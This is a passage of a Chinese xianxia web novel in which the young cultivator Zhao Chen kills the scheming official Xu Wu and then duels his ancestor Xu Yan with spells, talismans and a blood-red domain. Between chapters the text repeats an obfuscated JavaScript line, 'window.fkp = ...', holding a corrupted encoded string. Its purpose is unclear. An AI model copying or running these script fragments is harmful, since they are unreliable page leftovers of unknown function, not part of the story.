说着,许晏又回到云床上闭目养神去了,至于赵尘说看见的那大团的,如乌云一般聚于许晏头顶,又化作璎珞,丝丝垂下,将许晏完全罩住的黑色云团,许晏却是一点也没看见。 …… 在许武返回的路上,赵尘那将气息收敛到极致,化作丝线,的元婴轻轻从许武衣服上脱落,在地上化作一片落叶,翻滚着落在一旁的草丛中。 待许武远去之后,枯叶又变作一缕青烟飘到半空,辨别了一下方向之后,化成一缕清风向自己所住的小院飞去。 赵尘的元婴返回肉身,依旧装作酒还没醒的样子,躺在床榻上,思索着之前的所见所闻。 首先,许武的这位老祖宗一定要处理的。不但如此,便是可能服用“宝药”的许武等相关人士也要一并查验,若有此事,也要一并清理了。当然了,任务完成之后,也要将相应的因果收尾处理好,许家意图争龙,这其中的因果,若不处理好,那后果…… 开始和结尾确定了之后,中间的过程也不能放松。不要看见许晏乌云盖顶就认为其一定扑,便是许晏真的扑了,那也不是说明自己就一定赢了。 要是真相信这条“许晏气运反噬,一定会扑,所以自己将会时来天地皆同力的轻松赢下”的推论不做准备的话,赵尘觉得被坑的肯定是自己,毕竟自己刚见过一位被气运遮掩眼的真君。许晏虽然因为种种原因,境界和实力都掉的有点厉害。但修为再低,作为一位第三阶修士,一只手捏死自己还是轻轻松松的。 但要事先进行种种的战术安排的话,赵尘也不会。虽然前世混了个天下第一的名号,但实际上赵尘三辈子都没有什么势均力敌的战斗经验,至于以弱胜强,那就更别说了。 想到这里,赵尘只能盘其了自己的家底。能用在和许晏的战斗之上的,除了一张护法神金牌和一盒雷珠外,便只有赵尘在茫山那座洞天的地宫之中收获的那一堆法宝了。 只是人间修士多用法器,法器有四阶三等三品三乘之分。而只有仙人才常用法宝。所以便是有一堆法宝,以赵尘的法力,也只有一击之力。并且这一击,相对来说,不但威力较小,而且显得笨拙、粗陋、力量分散等种种不足。 为此,赵尘又准备了一些前些年炼制的法器以作补充。这些法器多是赵尘的练手之作,在赵尘的规划中只准备用上几次的,纯粹可以算是一次性法器,但因为材质原因,都能算的上高等。威力也算不俗。 从第二天开始,赵尘又在源水城中游览了起来,而许武也以怕赵尘被一些不长眼的影响心情为由,派了些人跟随在赵尘左右。 虽然如此,赵尘还是找机会在节度使府前院,许武正厅和书房那一片埋下了一些小玉快。 …… 一晃数天过去,正是净水节前一天的夜里。 赵尘坐在房中,将一册从许武处借来的书放在桌上,深深的吐出一口气:“开始了。” “咚、咚、咚” 正在这时,忽然一阵敲门声传来 “谁,什么事?” “赵少侠,我家老爷有请,说是要和你商议明天捞取净水的事。”许二的声音从门外传了过来。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十章 热身(上) “这就开门。” 说着,伸手将长剑从桌上拿起,塞入袖中,披上一件外衣,将房门打开。 许二站在门前,面色恭敬道:“赵少侠,老爷正在等着呢,快点走吧,不要让老爷久等。”说着,没有看见赵尘那从不离身的长剑,不禁问道:“赵少侠,你的剑呢?” “哦,你说剑啊,放房间里了。带着剑干什么,大晚上的,麻烦。!”赵尘听见许二的话,随口答道:“走吧,许管事。” “对,不带剑方便些。赵少侠请。”说着,便带着赵尘向许武那儿走去。 赵尘随着许二向正厅走去。远远望去,大厅内一片灯火通明,许武正坐在厅外等他。 走到院门前,许二站在一侧躬身道:“赵少侠,请。” 赵尘默默感应了一下,心中悄然数到:“一、二、三、四、五、六。”换句话说,除了许武和许二,厅中还埋伏着四个先天武者。 赵尘暗自感叹了一句:“何苦呢?”便迈步走了进去。 许武见赵尘走了进来,满脸笑意的朝赵尘走去:“哈哈,赵贤弟,你来了,真让大哥一阵好等啊。对了,贤弟,你的剑呢?” 赵尘一脸不解道:“我把剑放卧室里了,怎么了?” “没什么,只是随口问问。”许武闻言,脚步一顿,打着哈哈,走了过来,揽着赵尘的肩膀,全身都松松垮垮的半靠在赵尘身上,将赵尘往厅中榄去。 两人没走两步,赵尘便在抬步之间,全身劲力向肩膀聚集,企图向许武的胸膛爆发出去。于此同时,赵尘法力沿脚尖垂入地下,落在先前埋入其中的小玉快上。 赵尘脚下的小玉块在泥土中莹莹发光,并和其它数十块小玉块发生共振。一瞬间,两座简单的阵法势在这一片形成,并互相勾连。里面一座阵法形成了一层无色透明的屏障,将这一片区域封锁住,外面的一座阵法便是对这一片区域的隐蔽和伪装。 在阵法形成的一瞬间,坐在暖阁中的许晏心有所感的向前院看了一眼,见并无他事发生,就将目光收了回来,将之抛之脑后。 许武也是身经百战,经验丰富,虽然感知不到法力和阵法等,但伸手搭在赵尘肩上,在赵尘浑身劲力变幻的一瞬便反应过来。搭在赵尘肩上的手掌心掌力一吐,同时借着这股力量向后窜去。 许武间不容发的避过赵尘的一记贴山劲,同时一掌拍在赵尘的护体清光之上。察觉到手感异常的许武不由赞叹道:“好高明的护体罡气!能在先天境界有这样坚韧的护体罡气,赵尘修炼的绝对是最上乘的顶尖功法。” 同时对赵尘突然和自己动手的原因有了猜测。虽然自己没有表现出一丝敌意,但修炼这般顶级功法的赵尘,必定感知到了客厅中埋伏的四位先天高手,和其流露出的淡淡敌意:“想不到赵尘虽然江湖经验很是稚嫩,但感知却是相当敏锐啊。” 许武种种念头在心中快速转过,手上的动作也一点没停。前一瞬才避过了赵尘的一记偷袭,口中惊愕着:“贤弟这是在干什么?”同时翻掌之间,将之前收回的手掌重新向赵尘拍去。 许武周身真气四溢,掌心真气环绕,好似堆叠着一重重森严法度,散发着一股凛然的威势。翻掌之间好似有一方天地法度缓缓朝赵尘压来。 许武浑身气机和天地交感,显化出一层层光影幻象,笼罩许武周身数丈,直到此时,许武抬头向上看了一眼,稍一思索:“想不到贤弟竟然身怀异术啊!” 在赵尘和许武动手的同时,许二和之前埋伏在厅中的四名武者也朝赵尘围了过来,虽差了许武许多,但也各有气势,竟都是真意境的武者。许二身上气势凛冽,举手投足间,便有着一股承天宣化,分理阴阳的意境流转,诸般意境统合成一个整体,是一位先天四重天的武者,剩下四人全都是先天三重的武者。 而此界武道,后天只是和普通低武武侠没有什么区别。等到先天境界,抬手便是从气机牵引开始,越往后,气象就越发的宏大,到了先天后期,已经有了一丝丝高武玄幻的影子。 赵尘扫视了周围一圈,甩袖之间从袖口飞出几柄木质的匕首,不到一个呼吸,一番匕首飞舞之后,便将两名先天三重天的武者分别钉在墙上、柱上,皆重伤垂死。另外两名先天三重天的武者也被逼开,同时嘴角含笑间轻轻一指点出,将许武掌心的种种法度尽皆点碎。 同时,赵尘挥起左臂,衣袖翻飞,雷火闪烁之间,将来到自己身前的许二扇飞。 赵尘感受着这熟悉的手感,心中美滋滋的想到:“以大欺小,以强击弱,这才是我熟悉的战斗方式嘛!” 别看许武这随手一掌好像只是简单的一记拍击、擒拿。但实际上却是许武的一招得意绝学,名曰:“山炉”,取“军令如山,官法如炉”之意,融入了许武数十年主宰一方的心意和感悟,有着种种后续变化。 许武见赵尘随手破去了自己的得意绝招,心中骤然一变:“这赵尘不但是一位懂法术的异人,武功也如此高强,此贼不但骗住了我,甚至还瞒过了老祖宗,身上怕是有什么秘宝。莫不是专门冲着老祖宗来的?” 许武心中念头一闪而过,同时伸手在腰间一抹,一片如水清光朝赵尘洒去:“此贼若真是冲着老祖宗来的,这回怕只能死战了。”同时眼睛紧紧盯着被剑光罩住的赵尘。 赵尘前一瞬才将许武掌间气象破去,紧接着便有一层剑光朝自己扑面而来。伸出的手指随手往下一捞,如同入水捉鱼一般,探入清潋光幕之中,伸手将剑尖捏住。 赵尘手腕一抖,许武只觉一阵阵劲力瞬间从剑柄涌出,刷过己身。软剑脱手而出,许武整个人都瘫倒在地。 赵尘手中倒提着软剑,对着许武一挥而过,将其全身大筋全部挑断:“许大哥,如何?” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十一章 热身(下) “成王败寇,没什么好说的。只是不知贤弟什么时候发现不对的?”许武一脸豁达的躺在地上,生怕赵尘是冲着许晏来的,依然在探着赵尘的底。 “许大哥,许二初来寻我时,便对我有着一丝淡淡的恶意,也不知什么原因。还有,你明明是先天五重天的修为,却骗我说才先天初期……最后,这堂上还埋伏着四个对我抱有敌意的先天武者,我只能提前下手了,我也想知道这是为什么?” 随后两人又进行了一番你问我答,许武推测赵尘江湖经验稚嫩根本不是装的,只是其偏生天赋异禀,身手高强,感知灵敏。不像是事先知道老祖宗的人,很可能不是故意肿着老祖宗来的。 直到这时,许武才彻底颓废下来,向后院看了一眼:“窥测贤弟身上的神功、神兵、圣药,沦落至此,我毫无怨言。我愿意将自己所有的宝物包括:各种灵药、神功秘籍、神兵利刃、以及数不尽的金银珠宝全都给你,只求你放过我的妻儿家小。” 怕赵尘不同意,又连忙道:“要是没有我,你能不能找到这些先不说,哪怕你自己寻找,时间一长,让人发现了这里的事情,便是你武功再高,也逃不过大军围剿。” 闻言,赵尘心中暗自叹息了一声:“你的宝物都藏在哪儿?” 只见许武隐秘的往暖阁瞟了一眼,强硬道:“只要你放过我的妻儿,我便告诉你。” 赵尘闻言挥,袖间将许武定在原地,转身将因为发现破不开屏障,而重新朝自己围杀过来的三人打翻在地。许晏虽然暂时被赵尘用阵法蒙蔽住了,但赵尘自己也不能确定,这阵法可以为自己争取多少时间。 赵尘直接将五人招来身前,用摄魂惑心之术询问起来。许武见此,听见赵尘的问话,脸色顿时惨白,问清楚一切之后,赵尘长叹了一口气,指尖弹出几点火苗,将五人化作一片飞灰。随后又对许武如法炮制了一番,叹息了一句:“还不放弃,宁愿牺牲自己,也要引我过去,果真是孝子贤孙!唉……何至于此啊。” “唉矣……何可来哉?” 赵尘看着这满地狼藉,叹息了一声,随之又调解了一番心情,招来一团清水,将整个庭院情细了一番,做完这一切,赵尘远远看着远处暖阁的方向,舒缓了一下筋骨,轻声道:“热身结束,要开始了。” 随后从袖中取出行头,将之换上,在换衣服的时候,赵尘心中也是思绪不断乱飞,毕竟马上就要和一位第三阶的修士动手。 “不过如今的许家老祖却是处于半废状态,不但是因为其垂垂老矣,气血干枯,肉身腐朽,而且其一身罪孽,是神湖一脉修士一项重要手段,向各方神灵祈求神力,被废掉了。” “神魂一脉的修士,虽然手段玄奇,但种类确实不多。祈神被废掉之后,多是一些咒杀、幻术、法器、符咒等手段了,对了,还有一些第三阶修士,多会拥有的手段!” “诅咒类的法术与我无效。第三阶的一些通用手段,从其气运来看,其一副将要从第三阶跌落的模样,算了,气运这玩意,只能用来参考,要是真将希望寄托在着上面,那后果……” “这样算来……” 就在这思绪飘飞间,赵尘换好了行头。从赵尘来到院子直到此时,说起来不少,实际上连半刻钟够没归去。 …… 正在赵尘杀死许武之时,暖阁中,许晏忽然心中一悸,连忙掐算起来,随即脸色难看道:“武儿死了,怎么可能。” 忽然,许晏好似想到了什么,连忙招来一面铜镜。抬眼望去,只觉眼前一晃,便看见自己的气运好像云开雾散一般,迅速的变了个样子。 那一丝黑烟大小的灾劫之气迅速变粗、变长,纠缠在一起,化作一团浓墨,又像一团乌云,将许晏头顶的青色庆云般的气运完全遮掩住。大团的乌云笼罩在许晏的头顶,不断的还有丝丝缕缕的黑气垂落下来,遮蔽眼帘。 与此同时,那青色气运所化的璎珞变的飘渺、稀疏、遥遥欲坠。璎珞之外那无尽的血色云团在灾劫之气的助长下,不断翻滚着,好像蕴含着无数的恶鬼就要冲出来,将许晏撕碎一样。 见此,许晏面色完全平静了下来,脸色木然着,一字一顿道:“气,运,遮,眼。” “没想到我竟然被气运遮眼了。想来这赵尘便是我的劫数了。只要斩了那赵尘,后面便是一条康庄大道,散仙可期,长生有望。要是渡不过,今夜便是身死道消之时。” 想到这里,许晏原本躁动不安的心灵忽然安静下来,轻声笑了笑:“想我许晏以渺渺之身,一步步走动今天这一步,到如今散仙可期,长生有望,那一次不是历经生死,与天挣命!” 说着,许晏抬头向前院看了一眼,不慌不忙的准备了起来。先在楼下下布置好黄案,并备好了蜡烛、香火、法器、符纸,又捏了一个泥土小人,背上写着“赵尘”二字,并用一张符纸贴住。 做完这些,许晏便坐在黄案之后,静静的调息起来。 不到一会儿,暖阁之外便传来了脚步声,紧接着,便看见赵尘羽衣星冠,华彩璀璨,推门而入。许晏坐在黄案后面,看着羽衣星冠的赵尘,微微一笑:“竟是一位道友来访,可我却没有认出来,实在是失礼。” 赵尘刚推开门,便听见许晏的话,看着站在黄案后的许晏,连忙开口道:“我可不敢当阁下一声道友之称。至少这以人入丹的手段,实在令我惶恐。” 许晏闻言,诧异的看了赵尘一眼:“原来上次我和那不肖晚辈说话时,道友竟然在场。而我却耳聋眼花,没有看见道友,实在是怠慢了。” 说着,便从桌上端起一小酒杯,朝着赵尘一抛:“便以这杯酒向道友赔罪了。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十二章 罪孽 与此同时,许晏又伸手抓起一把用皮革剪成的各种人物猛兽,朝赵尘扔去:“有酒岂可无舞,地方简陋,一时准备不及,还请道友不要嫌弃他们舞姿粗鄙。” 赵尘看见朝自己抛来的酒杯,连忙客气道:“阁下实在是太客气了,都说了,不敢当阁下道友之称。” 话虽如此,但实际上面对一位第三阶的修士,赵尘一点也不敢大意,连退数步,同时抬手带起一道指风,将朝自己飞来的酒杯击碎。只见酒杯破碎了之后,碧沉沉的酒花四溅,化作一片绿色的火海,朝赵尘扑来。 “阴火。”赵尘惊讶道。 这阴火又称幽冥之火,虽不是真的从阴司冥府取来的火焰,威力却也不容小窥。以灼烧阴气,驱散阳气为手段,普通人只要沾上一点火星,不到一刻钟,便被烧的魂飞魄散,于此同时,身体看起来和平常一般无二,但若有人轻轻一碰,便立刻化作飞灰。 同样的,这阴火也极为难得,需事先从坟茔上收集大量的磷火,不断用鬼气滋养,将之化作纯粹的鬼火,大概每数百朵磷火可以养出一朵鬼火。 之后再将一朵鬼火放置于极阳之地,使其和阳气不断消磨,只剩下一点纯阴的火星之时,将之收回。如此反复祭炼,每六百六十六点火星方能炼成一朵阴火。 而一朵阴火,内敛时可化作一滴碧绿色的水滴,张扬时又可以化作一枚一丈大小的火球。 赵尘眼前这一片火海火海,至少有数十朵阴火之多,要说多珍贵的话,也不尽然,但想要收集这么多也十分难得。 一个人大晚上的,拿着一大把特殊的线香,蹲在不知谁家的坟茔旁,一朵一朵的收集磷火。最好还要注意别被人发现,以避免各种意外。一连收集十数万乃至数十万多磷火才能炼成一朵阴火,单这过程,想想就能让人崩溃。 “不愧是活了数百年的人物啊,这收藏,单单这一杯‘酒水’便能称得上丰厚了。” 正想着,赵尘便见许晏之前扔下的,不过巴掌大的皮革制物,如落叶般的在空中打着转,却见风就长,好像气球般的充胀了起来,变成一群一丈高的猛兽恶鬼,冲过火海。大团的阴火附着在这些猛兽恶鬼的身上,让这些恶鬼变的更加的暴躁、凶恶,朝赵尘扑了过来。 赵尘见在空中打旋的剪影,正想着许晏年老体弱,连几张皮都扔不动时,忽然仔细一看,怒喝道:“好胆,竟用生魂炼制这些法器!” 一般情况下,修士们制作这类剪纸傀儡类法器时,多是有两种方法。 一是在一些积阴之地,搜集、收拢一些亡魂残念,将之用纯粹的阴气洗炼、滋养,待使用之时,便以这被大量纯净阴气洗炼、滋养之后的残念为核心,辅以大量的阴气,祭炼出一只只人造的魂体。这种人造魂体的制作,或是由人对其进行精心的搭建、雕琢,或是以残念为主,阴气为辅。以炼丹的方式,带着几分赌运气的方式,自然生成。 二是为亡魂举办一场法事,将亡魂炼渡一番,同时剥下于亡魂而言只是杂质,毫无用处的魂衣。再对魂衣进行一番洗炼、祭炼,以作他用。 至于像许晏这样,直接扣押生灵魂魄,绝对是阴司重罪。 听到赵尘的呵斥,许晏轻笑道:“让道友见笑了,早年间年幼无知,不知这些禁忌,虽犯了一些过错,但还没到阴司直接拿人的程度,都是些死后才要清算的事情。” “等后来了解了,我身上的阴司重罪多了去了呢。但我已经是这并州人道秩序中关键的一环了,因为神道不得妄自干涉人道,所以只要一直活下去,终究有弥补之时。” …… 就在许武和赵尘动手的时候,正在这源水府深层空间的神域之中,一层层空间像帷幔一样落下,在神域的最深处、最中央,有一座恢弘的宫殿群,在正殿之中,府城隍高坐其上,闭目调理源水府这一府之地的法理、阴阳秩序。 一侍立在一旁,有天仙实力的从六品神吏忽然开口道:“这赵尘确有几分天资,看起来不过二十来岁,便已经是一位第二阶生灵,再看这一生先天气象,不愧是玄天门下。” 另一位在旁边整理文案的同级神吏闻言,头也不抬的道:“玄天宗挑选弟子,多会将其拘在山中二十多年,用以磨去心中浮躁。这个赵尘,虽有几分天资,但也因此没有经过时间打磨。心中还有几分燥气。这点资质,与其而言,也不知是福是祸。” “不说这赵尘了,这许晏也是有几分才情的,当年我看其就要行差蹉跎,便派人去提点他了一下,可他终究还是入了歧途。如今这身罪孽,连转世重修的机会都没有,可惜了啊!” “呵,你呀,就是好为人师,”整理文案的神吏闻言:“这许晏有什么好可惜的,他自身坠入魔道,又能怪谁?再说了,与其可怜他,不如可怜可怜受他牵累的有情众生。” 听了整理文案的神吏的话,第一位神吏叹了口气,整个殿中又默然无语的静了下来。 …… 说话间,许武看了赵尘一眼,便拿起写着赵尘名字的泥人继续施法。 听了许晏的话,赵尘摇了摇头没有多说什么,又退后拉开了一些距离,伸出左手,分别用大拇指、食指、中指在自己的双肩和头顶各点一下,置于嘴前,三根手指猛地一搓,用力一吹,大片的亮白色火焰从指前冒了出来,向身冒阴火的的众猛兽恶鬼压去。 赵尘用自身阳气为引,点燃的姑且叫做“阳火”的火焰,暂时将面前恶鬼猛兽身上的阴火压制住,右手挥舞长剑,不断将皮革划破。随着皮革被赵尘一一划破,一只只狰狞的魂魄从缺口中钻了出来,面色扭曲的挣扎了一会儿,便朝赵尘扑去。 赵尘见其全部从皮革中钻出后,左手一翻,手腕一甩,将阳火散去。随着阳火的散去,赵尘脸色微微一白,还来不及感叹几句,便看见又朝自己扑来的鬼物。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十三章 初战 见此,赵尘口颂真言,左手迸发出一片雷光,随着赵尘左臂甩动间,将雷光洒满周身,将围着赵尘的鬼物弹飞。趁着这一眨眼的功夫,一边观察这许晏,一边将长剑换成柳鞭。 随后,柳鞭在赵尘手中,似灵蛇窜于乱石,如金龙游于长空般的向恶鬼抽去。一阵飞沙走石之间,数十只青面獠牙的鬼类就变成了一群虚幻缥缈,好像一阵风就能吹散的魂体。被赵尘抽打下来的鬼气,丝丝缕缕的好像烟雾般飘散在四周。从赵尘处向外看去,好像下了层薄雾。 随后赵尘顾不上许晏,只是随便瞟了一眼,将长鞭一圈圈的收了回,随手往袖中一塞。同时又摸出一个小盒子,口中念咒,左手掐着指决,右手单手将盒子打开,将盒子对着恶鬼一晃,便将恶鬼全部收到盒子中。然后右手将盒子一关,贴上符纸,塞回袖中。 赵尘手持长鞭,手腕一抖,将其往袖中一塞。又从袖中摸出一个小盒子,然后右手将盒子一关,左手在盒子上一抹,将其塞回袖中。从赵尘打碎酒杯到将木盒塞回袖中,整个过程不到三五个呼吸。 正在赵尘和这些魂魄纠缠的时候,许晏终于施法完毕。 据许武所知,那些传承悠久的门派,其历代都祭拜某系神圣,年年香火不绝,供奉不断。那一册记载诸位神圣名号、装扮、事迹、喜好、忌讳等的册子,可以说便是那一脉传承的重宝。 别说许晏从来没有这样的传承宝册,祈神之时不怎么方便,便是有,许晏现在也不敢用。 虽然这些法术没有神力加持,使用起来要困难很多,也危险很多,但还是被许晏完成了。 许晏左手拿着赵尘名字的泥偶,右手拿着桃木匕首,对着泥偶的头顶连削三刀。 只是和许晏所想不一样,每一刀都像砍在坚韧的牛皮之上,都将桃木匕首弹了回来。三刀之后,泥偶和桃木匕首都炸裂开来,许晏不但双手虎口开裂,自身也受到反噬,一口鲜血喷了出来,整个人都萎靡、苍老了几分,好像一下子就处于垂死边缘。 见此,赵尘心中暗道:“这种斩运之法,成功率本来就不高,即便通过一系列的施法增加了成功率。但我名录大教,气运和宗门相连,人间修士,施展这种法门,压根与我无用。” “这次也实在幸运,我虽然犯了错,竟给一位神魂一脉第三阶修士从容施法的机会,但对方的失误更大,竟然赌这种成功率。” 同时,见许晏无力操纵阴火,赵尘连忙掏出一个铁葫芦,将葫芦口打开,对着火海,左手持葫芦,右手掐指决,口中念咒语,将阴火全部收到了葫芦之中。 许晏在受到反噬的一瞬间便反应了过来,同时想起了一前听到的一个传说,一些大派弟子,其宗门会将弟子气运和宗门气运相连接,帮弟子减轻、避过一些诸如诅咒、压胜之类的伤害。没想到竟是真的,还被自己遇上了。 见赵尘看着自己,许晏依然笑容不该:“本来因为年纪大了,怕随便动手损伤寿元,便想着投机取巧,用点其他法门。不想道友出身大派,气运这般的隆厚,我如今怕是看不到明早的太阳了,不愧是我的劫数。” “不对!不应该是这样,我有这种想法,使用这种法门……看来我还没有摆脱气运、因果对我的迷惑啊,这赵尘能有这样一手遮掩气运的法门,出身必然不凡,我竟没有反应过来。” 想到这里,许晏心中虽然起伏不定,脸上的笑意中却更带着几分释然:“我此生只为长生许,得亦喜,不得亦喜。虽沦落至此,吾亦不悔……” 赵尘一脸警惕的看着许晏,慢慢的靠了过去,无论其说什么,生怕受到暗算。突然,赵尘好像想到什么,运转灵眼类的法术,口念咒语,手掐指决,沾着些灵水在眼前一抹。 赵尘抬眼看去,心中“咯噔”一声,只见许晏周身散发出的清辉骤然扩大,直到接近三丈处才停了下来。随后在又不断吸收周围的血煞之后,逐渐转变成暗红色,形成了一个半径三丈的特殊法域。法域之内,给人一种阴风阵阵,血雨滔天的感觉。 这法域可和许武那周身几丈的光影特效完全不同,这力量可是真实不虚的,从外界看不过是一片半径三丈的空间,若走入其中,空间怕是会突然拉长百倍,再加上这法域还有其它种种妙用, 赵尘内心不禁痛苦呻吟了起来,半径三丈的法域,照破肉身境圆满,他竟见证了一场一朝顿悟,修为暴涨的临阵突破。并且可以看见许晏被法域笼罩的肉身正缓缓的发生质变,可以猜测到许晏修为不止暴涨到照破肉身境圆满,甚至有些微微破境。 不仅如此,许晏甚至还用法域吸收和统御了身上的无边罪孽,将之暂时化作了自己的力量,这根本就是在拼命。 赵尘见状,差点骂了出来,他一个真君级的高人,对付一个初入真人境界的小家伙,竟然开始拼命了,正是活见鬼:“你不是说得亦喜,不得亦喜吗,你不是说自己已经见不到明天的太阳了吗?既然如此,你堂堂真君,还和我这个小家伙计较什么?” 其他的先不说,单说这法域,第三阶的神魂修士的法域虽然比不上地仙一脉修士在第三阶形成的地仙法域。和神道如山神水主,土地城隍等一方主神开辟的神灵法域相比,更是两种东西,但也不是赵尘可以应付的。 万一陷到这法域之中,十成的功力,能发挥出一成便不错了,想要出来,怕是至少要脱层皮。 见赵尘的动作和难看的表情,笑道:“发现了吗,果然是师承大派,和我这种散人就是不一样,果然是神通妙术数之不尽啊!这长生道途,我虽得失皆喜。但我毕竟路断于道友之手,还请道友和我共赴冥土!” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第十四章 法域 听了许晏的话,见此情景,赵尘二话不说,抬起衣袖,甩出几件一次性法器,然后看也不看,驾起遁光边向府外冲去。 如今的许晏可不是之前那年老体弱,满身罪孽,不但修为快要跌出第三阶,而且十分实力连两三分都发挥不出来的人了。而是一位实实在在的真君级的大高手,虽然这位大高手只有几个两三个时辰好活了。 许晏借助法域之力,离地半丈,悬浮在半空中。此时,许晏的法域便的肉眼可见起来,其周身三丈之处,都隐隐约约散发着一层淡淡的暗红色光辉。看着赵尘的动作,许晏轻笑着的伸出左手,掌心向上,轻抬虚握。 只见整座节度府内,贴着院墙,快速升起一层薄薄的黑色烟幕,于头顶天空合拢。赵尘的遁光一头撞在烟幕上,被拦了下来,赵尘在从半空坠落的过程之中,连忙翻出那柄斑驳白玉匕首,灌注法力,对着烟幕一划。 这件白玉匕首便是先前从十二师兄处获得的,原本以为只是一件材质特殊的奇异残破法器。赵尘凝聚元婴之后才发现,这匕首之上竟被布置了重重叠叠的封印,赵尘目前才解开了十数层封印,这已经可以算作一柄高阶高等,上品中乘的珍贵法器。 据目前判断,这匕首虽稍有些残破。但等匕首上的封印全部解开,至少是一件法宝。 就算是一把高阶法器,划在烟幕之上也好像抽刀断水一般,毫不受力,却又没有丝毫用处。 看见赵尘的动作,许晏远远的解释道:“这座节度使府,数百年来凝聚了无数的气运,也镇压了无数罪孽在其中。如今我以法域与之勾连,便是一尊散仙困在其中,一时半刻也休想破开。道友还是不要白费力气了。” “除非道友可以源源不断的发挥出散仙级的力量,将之一点点磨开。或者一瞬间爆发出仙道伟力也可以。当然了,道友若是能做到这两点,也不用急着离开了。” …… 就在许晏忽然顿悟,临阵突破之时,正在神域之中,闭目的府城隍忽然睁开眼,向节度府方向瞟了一眼:“倒是有几分才情。”随后便又闭目无言。 侍立在一旁的神吏,看着被许晏借助法域之力,用气运和罪孽封死的节度府之内。一边紧紧盯着斗法的两人,随时准备破开法域将赵尘救出来,一边躬身回应道:“府君所言甚是,这许晏确有几分才情,只是,唉……” 另一位在旁边整理文案的神吏闻言,抬头看了一眼许晏,却设么也没说,又低头忙活起来。 …… 先前,赵尘甩出的几件一次性法器,刚飞进许晏的法域,在法域中暗红色的光辉磨灭,向地上坠去。 许晏一边为赵尘解释着,一边将坠向地面的件“材料”召至身前,一番打量之后,随手捏成粉末,一把火烧掉:“道友不愧是大派弟子,这些可都是上乘的材料,可道友却只是这般简简单单的雕琢了这几件垃圾,实在是暴殄天物。” 听见许晏的话,赵尘试了几刃都没有什么效果,左手取出护法神金牌,扣在手心,右手握着白玉匕首,灌注法力,匕身消失,化作一近乎无色的透明剑身。提着宝剑,在金甲神人的护持之下,向许晏冲去。 见赵尘的动作,许晏也不多话,抬手间便是神魂一脉修士第三阶的拿手好戏:虚空画符。 只见许晏伸出手指在虚空间不断比划着,一道道符箓被写在虚空中,化作狂风、暴雨、火焰、雷霆……向赵尘砸去,又有一道道其它效果的符箓或落在许晏的身上,或影响着赵尘的状态。 随着许晏越写越快,到最后甚至念动间,便有千百张符箓从虚空中浮现。赵尘无奈将金牌抛出, 金牌在空中化成一金甲神人,护持在赵尘身边,只可惜这护法神只能被动防御,无法主动进攻。砸向赵尘的法术大绝大多数都被护持在赵尘身边的金甲神人或拍飞,或拍散。剩下的绝少数或被赵尘躲开,或被赵尘的法术抵消。 与其说是有极少量法术没被金甲神人挡住,到不如说是赵尘从金甲神人的拦截中,抢夺了一些法术,感受了一番许晏法术的威力。 好在府中众人早在许晏封锁节度府时便顺手弄昏了,以至于暖阁这边又是电闪雷鸣,又是火光冲天的,虽一片嘈杂却没有人来打扰。 赵尘也明白,如今别看许晏的攻击好像狂放暴雨一般,实际上却只是一记试探和热身。自己绝对不能和许晏打持久战,只能以快打慢,甚至一招分生死。所幸的是要是自己没料错的话,自己应该死不了。 盘算了一下自己的家底,想要一招分生死,赵尘发现自己只有两件物品可以做到,一是那一盒雷珠,每一枚都相当于天师境的一击,二是取一件法宝,也只有一击之力。 赵尘顶着许晏符篆的轰炸,冲入法域之中。赵尘只觉周身一紧,随着赵尘的动作,周围淡淡的暗红色光辉好像水面一样荡起了阵阵波纹。随着波纹的不断泛起,一股股沛然大力从四面八方向自己涌来。赵尘只觉自己好像在磨盘中的麦粒,又仿佛琥珀中的小虫。 正在此时,赵尘身上的绣着‘百圣万灵,群仙济世功业图’的道袍上,微微的亮起一片荧光,和原本头顶那万华宝琉群星冠洒下的,罩在周身三尺之地朦胧星光,以及赵尘自身的护体清光,三者纠缠在一起,化作一层法域雏形。和外围的法域僵持住。 赵尘顿时觉的周身一松,和在法域外相比也只是水中和空气中的差距。 许晏见此,也不禁赞叹道:“好宝贝啊,道友身上的宝贝实在真多。尤其这一身行头,着实不凡!” 不理会许晏,赵尘在护法神的护持下,好像推着一片梦幻般的剑光,似快实慢的向许晏飘去。 window.fkp = 